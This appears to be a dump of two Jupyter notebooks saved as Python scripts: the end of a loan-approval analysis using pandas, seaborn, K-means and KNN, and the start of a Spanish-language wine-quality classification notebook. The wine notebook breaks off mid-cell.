data_accepted.dropna()\n\ndata_accepted.head(5)\n\n# +\n# list of attributes of accepted loans dataset \n\ndata_accepted.info()\n\n\n# -\n\n# function for converting ordinal values to numeric values\ndef ordinal_feature(data, columns):\n \"\"\" \n - Takes only ordinal variables (in quantative or alphabetic order) to convert it into integer\n - Important: Takes two arguments\n - param data: Dataset\n - param columns: features, which have to be converted to ordinals\n \"\"\"\n for column in columns:\n converted_order = []\n count = 0\n values = list(data[column].unique())\n values = sorted(values)\n for value in values:\n value = str(value)\n if value.startswith(\"<\"):\n converted_order.insert(0, value)\n elif \"+\" in value:\n converted_order.insert(count + 1, value)\n else:\n converted_order.insert(count, value)\n count += 1\n data[column] = data[column].apply(lambda x: converted_order.index(x))\n return data\n\n\n# +\n# converting ordinal values to numeric values\nordinals = [\"emp_length\"]\nordinal_feature(data_accepted, ordinals)\n\ndata_accepted.head(5)\n# -\n\n# Rolling statistics of accepted loans\ndata_accepted.describe().round(4)\n\n# +\n# Choose the needed features from original rejected data set and clear from NaN values\ndata_rejected = original_data_2[['Amount Requested', 'Application Date', 'Loan Title', 'Risk_Score', 'Debt-To-Income Ratio', \n 'Employment Length','State', 'Policy Code;;']]\ndata_rejected = data_rejected.dropna()\n\n# remove the persentage and unneeded signs from the values\ndata_rejected['Debt-To-Income Ratio'] = data_rejected['Debt-To-Income Ratio'].str.strip('%').astype('float')\ndata_rejected['Policy Code;;'] = data_rejected['Policy Code;;'].str.strip(';;').astype('float')\n\n# convert the values to numerical type\ndata_rejected['Amount Requested'] = data_rejected['Amount Requested'].astype('float')\ndata_rejected['Risk_Score'] = data_rejected['Risk_Score'].astype('float')\n\n# +\n# convert ordinal features to numeric values in the rejected loan data set\n\nordinals = [\"Employment Length\"]\nordinal_feature(data_rejected, ordinals)\n\ndata_rejected.head(10)\n\n# +\n# Attribute explanations of rejected loans? \n\ndata_rejected.describe().round(2)\n# -\n\ndata_rejected.info()\n\n# ### 1.3 Merge both data sets\n\n# +\n# Generelize the common features of both data sets \ncommon_features = {\"loan_amnt\":\"Loan Amount\", \"Amount Requested\":\"Loan Amount\", \"issue_d\": \"Application Date\", \n \"purpose\": \"Loan Title\", \"dti\": \"Debt-To-Income Ratio\", \"emp_length\": \"Employment Length\",\n \"addr_state\": \"State\", \"Policy Code;;\": \"Policy Code\", \"policy_code\": \"Policy Code\"}\n\n# Attribute Risk score is in different form. In accepted data it is splited in low and high fico range. We take the mean of them\ndata_accepted[\"Risk_Score\"] = data_accepted[['fico_range_low', 'fico_range_high']].mean(axis=1)\ndata_accepted = data_accepted.drop(['fico_range_low', 'fico_range_high'], axis=1)\n\ndata_accepted_m = data_accepted.rename(columns=common_features)\ndata_rejected_m = data_rejected.rename(columns=common_features)\n\nfor i in data_accepted_m.columns:\n if i not in data_rejected_m.columns:\n data_accepted_m = data_accepted_m.drop([i], axis=1)\n \nmerged_data = pd.concat([data_accepted_m, data_rejected_m], ignore_index=True, sort=True)\nmerged_data.head(10)\n# -\n\nmerged_data.tail(10)\n\nmerged_data.info()\n\n# ## 2. Descriptive statistics\n\n# +\n# Style, font and formats for plotting discriptive statistics\n\nplt.style.use('seaborn')\nmpl.rcParams['font.family'] = 'Arial'\nmpl.rcParams['font.size'] = '14'\n# -\n\n# ### 2.1 Loan and interest rate\n\n# +\nplt.figure(figsize=(13, 16))\nsns.set_theme()\nsns.set_context(\"paper\")\n\n# Loan Amount\nplt.subplot(4, 1, 1, facecolor='#eeefff')\nsns.histplot(x='loan_amnt', data=data_accepted, color='#21AFC3', kde=True)\nplt.xlabel('Amount')\nplt.ylabel('Frequency')\nplt.title('Loan Amount', fontsize=16)\nplt.tight_layout(pad=2)\n\n# Interest Rate\nplt.subplot(4, 1, 2, facecolor='#eeefff')\nsns.lineplot(data=sorted(data_accepted['int_rate'].unique()), color='#EA2B6B')\nplt.plot(data_accepted['int_rate'].unique(), 'bo')\nplt.xlabel(\"Unique values\")\nplt.ylabel('Rate')\nplt.title('Interest rate', fontsize=16)\nplt.ylim(0, data_accepted['int_rate'].max() + 5)\nplt.xlim(0, len(data_accepted['int_rate'].unique()))\nplt.tight_layout(pad=2)\n\n# -\n\n# ### 2.2 Distributions of other features\n\n# +\nplt.figure(figsize=(13, 20))\nsns.set_context(\"paper\")\n\n# Purpose of taking loan \nplt.subplot(4, 2, 1, facecolor = '#eeefff')\ndata_accepted['purpose'].value_counts().plot(kind='bar', color='#03B9FD')\nplt.ylabel('Frequency')\nplt.title('Purpose', fontsize=16)\n\n# Duration of loan\nplt.subplot(4, 2, 2, facecolor='#eeefff')\ndata_accepted['term'].value_counts().plot(kind='bar', color='#EA2B6B')\nplt.title('Duration of loan', fontsize=16)\n\n# Information about home ownership of applicants\nplt.subplot(4, 2, 3, facecolor = '#eeefff')\ndata_accepted['home_ownership'].value_counts().plot(kind='bar', color='#FCBF8C')\nplt.ylabel('Frequency')\nplt.title('Home ownership', fontsize=16)\nplt.tight_layout(pad=2)\n\n# Information about grades frequency\nplt.subplot(4, 2, 4, facecolor='#eeefff')\nsns.countplot(x='grade', data=data_accepted, palette=\"rocket\")\nplt.xlabel(None)\nplt.title('Grades', fontsize=16)\n\n# Verification_status\nplt.subplot(4, 2, 5, facecolor='#eeefff')\ndata_accepted['verification_status'].value_counts().plot(kind='bar', color='#21AFC3')\nplt.ylabel('Frequency')\nplt.xlabel(None)\nplt.title('Varification Status', fontsize=16)\n\n# Loan status\nplt.subplot(4, 2, 6, facecolor='#eeefff')\ndata_accepted['loan_status'].value_counts().plot(kind='bar', color='#FDA603')\nplt.xlabel(None)\nplt.title('Loan Status', fontsize=16)\n\n# Employment lenght\nplt.subplot(4, 2, 7, facecolor = '#eeefff')\nsns.countplot(x='emp_length', data=data_accepted, palette=\"GnBu_d\")\nplt.ylabel('Frequency')\nplt.title('Employment Length', fontsize=16)\n# -\n\n# ### 2.3 Contingency tables\n\n# +\n# Loan status vs grade\n\npd.crosstab(data_accepted['loan_status'], data_accepted['grade']).style.background_gradient(cmap = \"Purples\")\n\n# +\n# Loan status vs home ownership\n\npd.crosstab(data_accepted['loan_status'], data_accepted['home_ownership']).style.background_gradient(cmap = \"Reds\")\n\n# +\n# Loan status and employment lenght\n\npd.crosstab(data_accepted['loan_status'], data_accepted['emp_length']).style.background_gradient(cmap = \"Blues\")\n\n# +\n# loan status vs loan amount\n\ndata_accepted.groupby(by='loan_status')['loan_amnt'].describe()\n\n# +\nplt.figure(figsize=(14, 4))\nsns.set_theme(style=\"ticks\")\nsns.set_context(\"paper\")\n\n# Plot the distribution of loan amounts with laon statuses\nsns.histplot(data=data_accepted, x=\"loan_amnt\", hue=\"loan_status\", stat='count', multiple=\"stack\", palette=\"Set1\", bins=20)\n\n# +\n# grade vs employment length\n\npd.crosstab(data_accepted['grade'], data_accepted['emp_length']).style.background_gradient(cmap = \"Blues\")\n\n# +\n# grade vs home ownership\n\npd.crosstab(data_accepted['grade'], data_accepted['home_ownership']).style.background_gradient(cmap = \"Reds\")\n\n# +\nplt.figure(figsize=(15, 5))\nsns.set_theme(style=\"ticks\")\nsns.set_context(\"paper\")\n\n# loan amount and homeownership\nsns.histplot(data=data_accepted, x=\"loan_amnt\", hue=\"home_ownership\", multiple=\"stack\", palette=\"deep\")\n\n# +\n# Frequency of the loans' amount\nplt.figure(figsize=(15, 12))\nsns.set_context(\"paper\")\n\n# Information about grades frequency \nplt.subplot(2, 2, 1, facecolor = '#eeefff')\nsns.violinplot(data=data_accepted, x=\"home_ownership\", y=\"loan_amnt\", split=True, palette='coolwarm')\nplt.ylabel(\"Loan Amount\")\nplt.xlabel(None)\nplt.title(\"Homer Ownership with Loan Amount Distribuition\", fontsize=16)\n\nplt.subplot(2, 2, 2, facecolor = '#eeefff')\nsns.violinplot(data=data_accepted, x=\"home_ownership\", y=\"int_rate\", split=True, palette='Spectral')\nplt.ylabel(\"Interest Rate\")\nplt.xlabel(None)\nplt.title(\"Homer Ownership with Interest Rate\", fontsize=16)\n\nplt.subplot(2, 2, 3, facecolor = '#eeefff')\nsns.violinplot(data=data_accepted, x=\"home_ownership\", y=\"int_rate\", hue=\"term\", split=True, palette='coolwarm')\nplt.ylabel(\"Interest Rate\")\nplt.xlabel(None)\nplt.title(\"Homer Ownership with Interest Rate\", fontsize=16)\n\nplt.subplot(2, 2, 4, facecolor = '#eeefff')\nsns.boxplot(data=data_accepted, x=\"grade\", y=\"int_rate\", palette='pastel')\nplt.ylabel(\"Interest Rate\")\nplt.xlabel(None)\nplt.title(\"Grades with Interest Rate\", fontsize=16)\n\n# +\nplt.figure(figsize=(13, 15))\nsns.set_context(\"paper\")\nsns.set_theme(style=\"ticks\", palette=\"pastel\")\n\n# Homeownership and duration of loan\nplt.subplot(3, 2, 1)\nsns.countplot(x='term', data=data_accepted, hue='home_ownership')\nplt.legend(loc=1)\nplt.title(\"Homer Ownership with Duration\", fontsize=16)\n\n# Homeownership and duration of loan\nplt.subplot(3, 2, 2)\nsns.countplot(x='term', data=data_accepted, hue='verification_status')\nplt.legend(loc=1)\nplt.tight_layout(pad=2)\n\n# Homeownership, interest rate and varification status\nplt.subplot(3, 2, 3, facecolor = '#eeefff')\nsns.boxplot(data=data_accepted, x=\"home_ownership\", y=\"int_rate\", hue=\"verification_status\", palette='pastel')\nplt.ylabel(\"Interest Rate\")\nplt.xlabel(None)\nplt.legend(loc=1)\nplt.title(\"Homer Ownership with Interest Rate\", fontsize=16)\n\n# Homeownership, interest rate and varification status\nplt.subplot(3, 2, 4, facecolor = '#eeefff')\nsns.boxplot(data=data_accepted, x=\"home_ownership\", y=\"int_rate\", hue=\"term\", palette='pastel')\nplt.ylabel(\"Interest Rate\")\nplt.xlabel(None)\nplt.legend(loc=1)\nplt.title(\"Homer Ownership with Interest Rate\", fontsize=16)\n\n# Grade and duration of loan\nplt.subplot(3, 2, 5)\nsns.countplot(x='term', data=data_accepted, hue='grade')\nplt.legend(loc=1)\nplt.title(\"Homer Ownership with Duration\", fontsize=16)\n\n# Homeownership, interest rate and varification status\nplt.subplot(3, 2, 6, facecolor = '#eeefff')\nsns.boxplot(data=data_accepted, x=\"annual_inc\", hue=\"grade\", palette='pastel')\nplt.legend(loc=1)\nplt.title(\"\", fontsize=16)\n\n# -\n\n# ### 2.4 Correlation matrix\n\n# function for plotting correlation matrices\ndef correlation_matrix(data):\n \"\"\" \n Takes as an input a data set.\n Plots correlation matrix\n \"\"\"\n labels_cr = data.columns\n corr_table = np.array(data.round(3))\n \n fig, ax = plt.subplots(figsize=(10, 12))\n ax.imshow(corr_table, cmap='twilight_shifted')\n \n ax.set_xticks(np.arange(len(labels_cr)))\n ax.set_yticks(np.arange(len(labels_cr)))\n ax.set_xticklabels(labels_cr)\n ax.set_yticklabels(labels_cr)\n ax.grid(False)\n\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\", rotation_mode=\"anchor\", fontsize=14)\n plt.setp(ax.get_yticklabels(), fontsize=14)\n\n for i in range(len(labels_cr)):\n for j in range(len(labels_cr)):\n text = ax.text(j, i, corr_table[i, j], ha='center', va='center', color='w', fontsize=14)\n \n ax.set_title(\"Correlation of features\".upper(), fontsize=14)\n fig.tight_layout() \n\n fig.colorbar(ax.imshow(corr_table, cmap='twilight_shifted'), orientation='horizontal', label='Correlation')\n\n\n# correlation of features of the accepted loan data set\ndata_accepted.drop([\"policy_code\"], axis=1).corr().round(4)\n\n# Correlation matrix plot of accepted loan data set\ncorrelation_matrix(data_accepted.drop([\"policy_code\"], axis=1).corr())\n\ndata_rejected.drop([\"Policy Code;;\"], axis=1).corr()\n\ncorrelation_matrix(data_rejected.drop([\"Policy Code;;\"], axis=1).corr())\n\n# ## 3. Implementing Machine learning models \n#\n\n# ### 3.1 Data preparation for ML models\n\n# +\n# convert duration to numerical value\ndata_accepted['term'] = data_accepted['term'].str.strip('months').astype('int')\n\n# drop issued date\ndata_accepted = data_accepted.drop(['issue_d'], axis=1)\n\n# +\n# convert grades to numerical order using function ordinal feature\nordinals = [\"grade\"]\nordinal_feature(data_accepted, ordinals)\n\ndata_accepted.head(10)\n# -\n\ndata_accepted.columns\n\n\n# function for converting categorical variables to dummy values\ndef onehot_encode(data, columns):\n data = data.copy()\n for column in columns:\n dummies = pd.get_dummies(data[column], prefix=column)\n data = pd.concat([data, dummies], axis=1)\n data = data.drop(column, axis=1)\n return data\n\n\n# converting values to dummy values\nonehot_encode(data_accepted, columns=['home_ownership', 'verification_status', 'purpose', 'addr_state'])\n\n# ### 3.2 Unsupervised Machine Learning model - K-means\n#\n#\n\n# Importing necessery libraries\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import LabelEncoder\n\n# converting the values to dummy values\nX = onehot_encode(data_accepted, columns=[['home_ownership', 'verification_status', 'purpose', 'addr_state']])\n\n# seperating the target variable from the predictor variables \ntarget_column = data_accepted['loan_status'] \nX = X.drop(['loan_status'], axis=1)\n\n# +\n# creating instance of labelencoder\nlabelencoder = LabelEncoder()\n\n# Assigning numerical values to labels and storing in another column\ntarget_column = labelencoder.fit_transform(target_column)\n\n# +\n# Importing model K-means from scikit library\nfrom sklearn.cluster import KMeans\n\nkmeans = KMeans(n_clusters=7)\nKModel = kmeans.fit(X)\n# -\n\n# predicted categories\nKModel.labels_\n\n# clusters' centers\nKModel.cluster_centers_\n\n# Comparason of predicted clusters with predefined given categories (target column)\npd.crosstab(target_column, KModel.labels_)\n\n# Check the accuracy of the model\nfrom sklearn.metrics import accuracy_score\naccuracy_score(target_column, KModel.labels_)\n\n# ### 3.3 K-Nearest Neighbors (Supervised model)\n#\n# 1. Find K records that have similar features (i.e., similar predictor values).\n# 2. For classification, find out what the majority class is among those similar records and assign that class to the new record.\n# 3. For prediction (also called KNN regression), find the average among those similar records, and predict that average for the new record.\n\nmerged_data = merged_data.drop(['Application Date', 'Loan Title', \"State\"], axis=1)\n\n# K-Nearest Neighbors we take concated dataset just to show how it works. The outcome is the feature risk score. \nmerged_data.tail()\n\n# +\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler \nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import classification_report, confusion_matrix\n\n# define the features for prediction\npredictors = [\"Debt-To-Income Ratio\", \"Employment Length\", \"Loan Amount\", \"Risk_Score\"]\noutcome = \"Policy Code\"\n\n# define the prediction variables and outcome variabales\nX = merged_data.loc[:, predictors].values\ny = merged_data.loc[:, outcome].values\n\n# Split data into training data and testing data (30% of data). \nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.30)\n\n# standardize values\nscaler = StandardScaler()\nscaler.fit(X_train)\nX_train = scaler.transform(X_train)\nX_test = scaler.transform(X_test)\n\n# fit the model with certain number of neighbors (Ks)\nknn = KNeighborsClassifier(n_neighbors=7)\nknn.fit(X_train, y_train)\n# -\n\n# Save the prediction of test part (30% data for test without outcomes)\ny_pred = knn.predict(X_test)\n\n# Check the quality of the model using confusion matrix.\nprint(classification_report(y_test, y_pred))\n\n# Check the quality of the model\naccuracy_score(y_test, y_pred)\n\n# ### References\n#\n# - https://learning.oreilly.com/library/view/machine-learning-with/9780134845708/ch03.xhtml#ch03\n# - https://learning.oreilly.com/library/view/practical-statistics-for/9781492072935/ch06.html#StatisticalML\n# - https://learning.oreilly.com/library/view/machine-learning-for/9781789136364/ch02s02.html\n# - https://learning.oreilly.com/library/view/python-for-finance/9781492024323/ch13.html\n# - https://pandas.pydata.org\n# - https://matplotlib.org\n# - https://www.kaggle.com/wordsforthewise\n# - https://scikit-learn.org\n# - https://towardsdatascience.com/categorical-encoding-using-label-encoding-and-one-hot-encoder-911ef77fb5bd\n\n\n","repo_name":"hansaleem1/Robo-Loan","sub_path":"Roboloan.ipynb","file_name":"Roboloan.ipynb","file_ext":"py","file_size_in_byte":17136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"17421107415","text":"# + [markdown] id=\"G7N0uphi_Udl\"\n# # Estudio sobre la Calidad del Vino\n#\n# Este dataset fue tomado de Kaggle, https://www.kaggle.com/rajyellow46/wine-quality\n#\n# Como información previa tenemos que:\n#\n# The dataset was downloaded from the UCI Machine Learning Repository.\n#\n# The two datasets are related to red and white variants of the Portuguese \"Vinho Verde\" wine. The reference [Cortez et al., 2009]. Due to privacy and logistic issues, only physicochemical (inputs) and sensory (the output) variables are available (e.g. there is no data about grape types, wine brand, wine selling price, etc.).\n#\n# These datasets can be viewed as classification or regression tasks. The classes are ordered and not balanced (e.g. there are munch more normal wines than excellent or poor ones). Outlier detection algorithms could be used to detect the few excellent or poor wines. Also, we are not sure if all input variables are relevant. So it could be interesting to test feature selection methods.\n#\n# Two datasets were combined and few values were randomly removed.\n#\n# Attribute Information:\n#\n# Input variables (based on physicochemical tests): 1 - fixed acidity 2 - volatile acidity 3 - citric acid 4 - residual sugar 5 - chlorides 6 - free sulfur dioxide 7 - total sulfur dioxide 8 - density 9 - pH 10 - sulphates 11 - alcohol\n#\n# Output variable (based on sensory data): 12 - quality (score between 0 and 10)\n#\n# Acknowledgements/Bibliography: [Cortez et al., 2009] P. Cortez, A. Cerdeira, F. Almeida, T. Matos and J. Reis, Modeling wine preferences by data mining from physicochemical properties. In Decision Support Systems, Elsevier, 47(4):547-553, 2009. https://www.sciencedirect.com/science/article/abs/pii/S0167923609001377\n#\n# Acá un paper más nuevo: https://www.scitepress.org/Papers/2015/55519/55519.pdf\n#\n# Acá, las unidades de los features:\n#\n# The physicochemical data (input variables), and its corresponding statistics. The units are: FA: g(tartaric acid)/dm3; VA: g(acetic acid)/dm3; CA: g/dm3; RS: g/dm3; CH: g(sodium chloride)/dm3; FSD: mg/dm3; TSD: mg/dm3; DE: g/dm3; SU: g(potassium sulphate)/dm3; AL: %vol.\n\n# + [markdown] id=\"se11qCFK_Udq\"\n# #### Nuestro objetivo es entrenar y aplicar algoritmos de Aprendizaje Automático para clasificar vinos a partir de sus características fisíco-químicas según un rango de clasificación definido a partir de la experiencia sensorial de la persona que lo cató. \n\n# + [markdown] id=\"Lo9ZSgDu_Udr\"\n# ## Celdas preparatorias\n\n# + id=\"j6ngWbOX_Uds\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030790115, \"user_tz\": 180, \"elapsed\": 958, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Cargo librerías \nimport sys\nimport seaborn as sns\nimport numpy as np \nimport random \nimport os \nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom pandas.plotting import scatter_matrix\n# Para realizar los gráficos debajo de la celda de código\n# %matplotlib inline\n\n# + id=\"gndLxHuE_Udu\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030790122, \"user_tz\": 180, \"elapsed\": 32, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Cargo librerías de sklearn\nimport sklearn as sk\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import StratifiedShuffleSplit\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.pipeline import Pipeline, TransformerMixin\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.model_selection import cross_val_predict, cross_val_score, cross_validate\nfrom sklearn.metrics import accuracy_score, f1_score, classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import RandomizedSearchCV, GridSearchCV\n\n# + id=\"EqjezJjq_Udv\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030791510, \"user_tz\": 180, \"elapsed\": 1417, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Cargo los datos de entrenamiento\n\ndf_train = pd.read_csv('https://raw.githubusercontent.com/lupealvarez/TP_AA_UNSAM/main/winequalityN_train.csv')\n\ndf_test = pd.read_csv('https://raw.githubusercontent.com/lupealvarez/TP_AA_UNSAM/main/winequalityN_test.csv')\n\n# + [markdown] id=\"zdGDnAee_Udv\"\n# ## Preprocesamiento \n# Exploramos los datos rápidamente, completamos los datos faltanes, transformamos las variables categóricas y quitamos los outliers. \n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"qF-_nqV9_Udw\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036698036, \"user_tz\": 180, \"elapsed\": 744, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"238fbc8e-1142-4806-a173-6da3d961f6ab\"\n# Exploramos rápidamente\ndf_train.head(10)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"povcZ5x__Udx\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699067, \"user_tz\": 180, \"elapsed\": 194, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"ffbb5b28-6d3f-4596-a851-e3d6db3c6848\"\ndf_train.info()\n\n# + [markdown] id=\"zw8UstYz_Udy\"\n# Data frame de 14 columnas y 5197 filas. \n# 1 columna de tipo string y 12 de tipo punto flotante . \n# Nuestro target será la calidad del vino -> interger (score between 0 and 10, being 10 de best quality). \n# El set de entrenamiento recibido tiene una columna más. Asumo que es el número de medición en el data set original. \n# Para separar el data set original en train y test, se realizó una división estratificada según la calidad. \n\n# + id=\"PNq0fld1_Udy\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699071, \"user_tz\": 180, \"elapsed\": 184, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# La cambio el nombre a la columna \"Unnamed\"\ndf_train.rename(columns={'Unnamed: 0':'vino_num'}, inplace=True)\n\ndf_test.rename(columns={'Unnamed: 0':'vino_num'}, inplace=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 497} id=\"isb6mQWO_Udz\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699086, \"user_tz\": 180, \"elapsed\": 194, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"9d61adf7-f9aa-4ba6-a314-20357ecda2f4\"\nplt.figure(figsize=(10,8))\nsns.countplot(x='type',hue='quality',data=df_train);\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"EuaBLfRB_Ud0\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699100, \"user_tz\": 180, \"elapsed\": 196, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"1d5be115-4e4d-4391-b644-9f7c8ac4a7f2\"\ndf_train['quality'].value_counts() \n\n# + [markdown] id=\"P8n4lOa4_Ud0\"\n# El data set se encuentra muy desbalanceado respecto las categorías de calidad. Hay muy pocas observaciones de calidad 3 y de calidad 9. \n# Decidimos combinar estas categorías poco representadas, por un lado, la 3 con la 4 y por el otro lado, la 8 con la 9. \n# También hay un desbalance respecto el tipo de vino (blanco y tinto). \n\n# + id=\"LZfQv5BM_Ud1\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699104, \"user_tz\": 180, \"elapsed\": 191, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Hacemos una copia primero, para no modificar el data set original.\ndf = df_train.copy()\n\n# Juntemos los datos en tres categorías de calidad y Renombremos las categorías\n#df['quality'] = df['quality'].map({3:3, 4:3, 5:3, 6:2, 7:1, 8:1, 9:1})\ndf['quality'] = df['quality'].map({3:2, 4:2, 5:2, 6:1, 7:0, 8:0, 9:0})\n\n\n# ¿Ó 7 ya sería medio pelo?\n\n# + id=\"aiSp9s_bQexK\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699113, \"user_tz\": 180, \"elapsed\": 195, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Hacemos una copia primero, para no modificar el data set original.\ndf_t = df_test.copy()\n\n# Juntemos los datos en tres categorías de calidad y Renombremos las categorías\n#df_t['quality'] = df_t['quality'].map({3:2, 4:2, 5:2, 6:1, 7:0, 8:0, 9:0})\n\ndf_t['quality'] = df_t['quality'].map({3:3, 4:3, 5:3, 6:2, 7:1, 8:1, 9:1})\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"jabM1nPF_Ud2\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699118, \"user_tz\": 180, \"elapsed\": 195, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"ae01cc50-3517-4dad-aa15-4b2fc4eed844\"\n# Veamos si se realizó el cambio\ndf['quality'].value_counts() \n\n# + [markdown] id=\"tXo7vFuTS4XC\"\n# Tenemos entonces tres categorias de calidad de vino: \n# 1 = Bueno \n# 2 = Medio pelo \n# 3 = Berretón \n#\n#\n\n# + id=\"BixcGV5V_Ud3\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699122, \"user_tz\": 180, \"elapsed\": 186, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Transformamos la variable categórica \"type\" en numérica \ndf['type'] = df['type'].map({'white': 0, 'red': 1})\n\ndf_t['type'] = df_t['type'].map({'white': 0, 'red': 1})\n\n# + [markdown] id=\"REHGLKpX_Ud4\"\n# Tipo de vino: \n# 0 = vino blanco \n# 1 = vino tinto \n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"7BJ7mneW_Ud4\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699134, \"user_tz\": 180, \"elapsed\": 194, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"7cbfae7c-d100-47c0-efd9-84d10dfda890\"\ndf.head(10)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"UXiavNTh_Ud5\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699138, \"user_tz\": 180, \"elapsed\": 188, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"3e005d2d-f288-43e0-a8f3-a10e77b918b2\"\ndf.shape\n\n# + [markdown] id=\"pbtjg6sg_Ud5\"\n# Separemos el target \"quality\" de los features.\n\n# + id=\"ZbelG-OK_Ud5\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699144, \"user_tz\": 180, \"elapsed\": 182, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Separamos las etiquetas (el target)\ndf_labels = df[\"quality\"].copy()\n\n# Separamos los features (quitamos el target)\ndf = df.drop(\"quality\", axis=1) # drop labels for training set\ndf = df.drop(\"vino_num\", axis=1) # drop vino_num for training set\n\n# Separamos los features numéricos\ndf_num = df.drop(\"type\", axis=1)\n\n# + id=\"jq8SVj1hQtdv\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699154, \"user_tz\": 180, \"elapsed\": 187, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Separamos las etiquetas (el target)\ndf_t_labels = 